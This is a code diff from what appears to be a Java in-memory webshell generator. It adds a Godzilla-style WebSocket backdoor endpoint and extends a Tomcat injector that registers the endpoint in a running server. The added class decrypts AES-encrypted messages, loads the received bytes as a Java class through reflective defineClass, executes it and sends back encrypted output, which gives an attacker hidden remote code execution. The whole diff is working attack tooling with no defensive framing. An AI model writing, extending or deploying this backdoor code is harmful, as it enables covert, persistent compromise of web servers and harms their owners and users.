diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java index 0d69d7bf..bb1f06b6 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java @@ -157,6 +157,8 @@ public enum Server { .addShellClass(JAKARTA_LISTENER, GodzillaListener.class) .addShellClass(VALVE, GodzillaValve.class) .addShellClass(JAKARTA_VALVE, GodzillaValve.class) + .addShellClass(WEBSOCKET, GodzillaWebSocket.class) + .addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class) diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java index 10bf23d9..95f26665 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java @@ -88,6 +88,12 @@ public class TomcatWebSocketInjector { if (container == null) { return; } + + if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) { + System.out.println("websocket at " + getUrlPattern() + " already exists"); + return; + } + ClassLoader classLoader = context.getClass().getClassLoader(); Class serverEndpointConfigClass = classLoader.loadClass("javax.websocket.server.ServerEndpointConfig"); Class builderClass = classLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder"); @@ -96,11 +102,8 @@ public class TomcatWebSocketInjector { Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern()); Object endpointConfig = invokeMethod(o1, "build", null, null); - Map o = (Map) getFieldValue(container, "configExactMatchMap"); - if (o.containsKey(getUrlPattern())) { - System.out.println("websocket at " + getUrlPattern() + " already exists"); - return; - } + invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800}); + invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800}); invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig}); System.out.println("websocket at " + getUrlPattern() + " inject successfully"); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java new file mode 100644 index 00000000..c1dd7748 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java @@ -0,0 +1,72 @@ +package com.reajason.javaweb.memshell.shelltool.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.websocket.Endpoint; +import javax.websocket.EndpointConfig; +import javax.websocket.MessageHandler; +import javax.websocket.Session; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.nio.ByteBuffer; + +/** + * @author ReaJason + * @since 2025/5/9 + */ +public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole { + public static String key; + + private Session session; + private Class payload; + + public Class Q(byte[] classBytes) throws Throwable { + URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defMethod.setAccessible(true); + return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + public void onOpen(final Session session, EndpointConfig config) { + this.session = session; + session.addMessageHandler(this); + } + + @Override + public void onMessage(ByteBuffer byteBuffer) { + try { + byte[] data = byteBuffer.array(); + data = x(data, false); + byte[] response = new byte[0]; + if (payload == null) { + payload = Q(data); + } else { + java.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream(); + Object obj = payload.newInstance(); + obj.equals(data); + obj.equals(bos); + obj.toString(); + response = bos.toByteArray(); + } + session.getBasicRemote().sendBinary(ByteBuffer.wrap(x(response, true))); + } catch (Throwable e) { + e.printStackTrace(); + try { + session.close(); + } catch (java.io.IOException ignored) { + } + } + } +}